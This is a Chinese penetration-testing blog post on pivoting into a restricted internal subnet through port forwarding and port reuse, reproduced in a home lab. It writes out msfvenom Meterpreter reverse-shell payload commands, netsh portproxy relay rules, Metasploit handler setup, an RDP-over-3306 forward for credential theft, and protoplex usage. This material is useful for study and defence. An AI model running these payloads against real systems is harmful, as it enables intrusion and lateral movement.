close

前言

前段時間在一次內網中遇到了一個問題,當時想了很多辦法,雖然最終沒能解決但是也學了很多東西。

現在想想也是很愁。

情景再現

大致情況就是現在處於192的網段然後有一個172網段機器的mssql賬號(可以執行命令和上傳文件),並且172網段上的這台服務器只對192這台機器開放了1433端口,需要到172的網段。

一張圖簡單明了。

端口復用

雖然最終沒能解決問題,但是也是學到了不少方法來應對相似的情況。

1、netsh

netsh(Network Shell) 是一個windows系統本身提供的功能強大的網絡配置命令行工具,可以查看或更改本地計算機或遠程計算機的網絡配置。

場景1

假如,就是說假如咱們這裡放開一下限制規則 172的網段依然不出網,且只對192網段開放1433端口,但是172可以訪問192的網段。那這樣咱們可以通過172機器反向連接192機器然後在192機器做端口轉發到攻擊機器上的監聽端口,這裡在本地復現改了一下ip 如下圖:

以及修改目標機器的防火潛規則確保其他的端口無法被訪問。

使用msf生成反彈馬,然後將木馬上傳到目標機器。

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=6767 -i 3 -f exe -o o.exe

然後我們在10.211.5.10這台機器通過netsh設置端口轉發將6767轉發到攻擊機的監聽端口。

netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129

在攻擊機上設置監聽,然後在目標機器上執行木馬。

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.49.129set lport 6767

攻擊機器成功收到會話。

場景2

在場景1中我們的目標機器可以隨意訪問我們跳板機5.10的任意端口,假如我們這邊開始增加限制目標機器不能隨意訪問跳板機器的端口,只能訪問指定端口比如:80、445、1433、1521、3306、3389、6379、8080,這其中的一個或者多個端口,如下圖。

和上面一樣通過ms生成反向連接馬以及上傳到目標服務器,設置連接端口為80.

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=80 -i 3 -f exe -o o.exe

這裡為了嚴謹依然通過防火牆設置端口限制,80可以訪問到,其他端口均不能訪問。

然後通過netsh設置端口轉發。

netsh interface portproxy add v4tov4 listenport=80 connectport=6767 connectaddress=192.168.49.129

然後在目標機器上執行木馬,我們通過端口連接可以看到目標機器與跳板機的80端口進行了連接且跳板機也收到連接,但是跳板機的80端口並沒有轉發到攻擊機的監聽端口,如下圖。

我們攻擊機也同樣沒有收到回話。繼續測試3306端口(只對目標機器開放3306,其他端口均禁止),步驟同上我們這邊直接跳過重複步驟,直接到執行木馬,然後我們可以發現msf成功的接受到了會話,如下圖。

端口正常轉發。

經過測試發現3306和8080可以正常的進行轉發80、445、1433、3389、6379等不可轉發猜測下是windows自帶的一些服務可能都不支持這種情況。

場景3

我們繼續增加限制條件在場景2中我們的目標機器可以訪問我們跳板機5.10的個別端口,假如我們這邊開始增加限制目標機器不能訪問跳板機器的端口,但是我們也不是只能訪問目標機器的1433,我們這次增加一個別的端口80或者3306等,如下圖。

我們先討論80端口的情況,這個就比較簡單直接看是什麼web服務然後上傳對應的shell連接就可以了(Neo-reGeorg)。然後是3306,我們依然可以通過netsh進行端口轉發列出一個最簡單的方式就是將目標機器上的3306端口轉發到3389端口上。

netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5

然後我們可以讀密碼或者加用戶,再通過跳板機去連接遠程桌面這裡直接連接3306端口。

經過測試這種情況下有很多端口是不可以這樣轉發的就比如iis開放的80端口,已經mssql的1433端口,但是像3306、8080這種端口是可以被轉發的,所以實際不同情況需要多嘗試(這裡實驗時差點把自己繞進去)。

2、工具protoplex

這是一個協議復用的工具,比如命令可將本地9999端口的流量根據協議類型轉到本地的2333和80端口,這裡我做了一下實驗,發現該工具的監聽端口不能被占用也不能是3306、1433、3389這種的特殊端口。他可以監聽10.211.55.5:4444,如果是socks5協議的流量就將流量轉發給10.211.55.5:9999,如果是http流量,就將流量轉發給10.211.55.5:80

protoplex_windows_amd64.exe --socks5 10.211.55.5:9999 --http 10.211.55.5:80 -b 10.211.55.5:4444

其他機器訪問

socks5測試不理想,最終也是沒能解決這個問題。

期待找到解決辦法。

E



N



D












Tide安全團隊正式成立於2019年1月,是新潮信息旗下以互聯網攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為「省級等保關鍵技術實驗室」先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網絡安全技術方面開展研發項目60餘項,獲得各類自主知識產權30餘項,省市級科技項目立項20餘項,研究成果應用於產品核心技術研究、國家重點科技項目攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()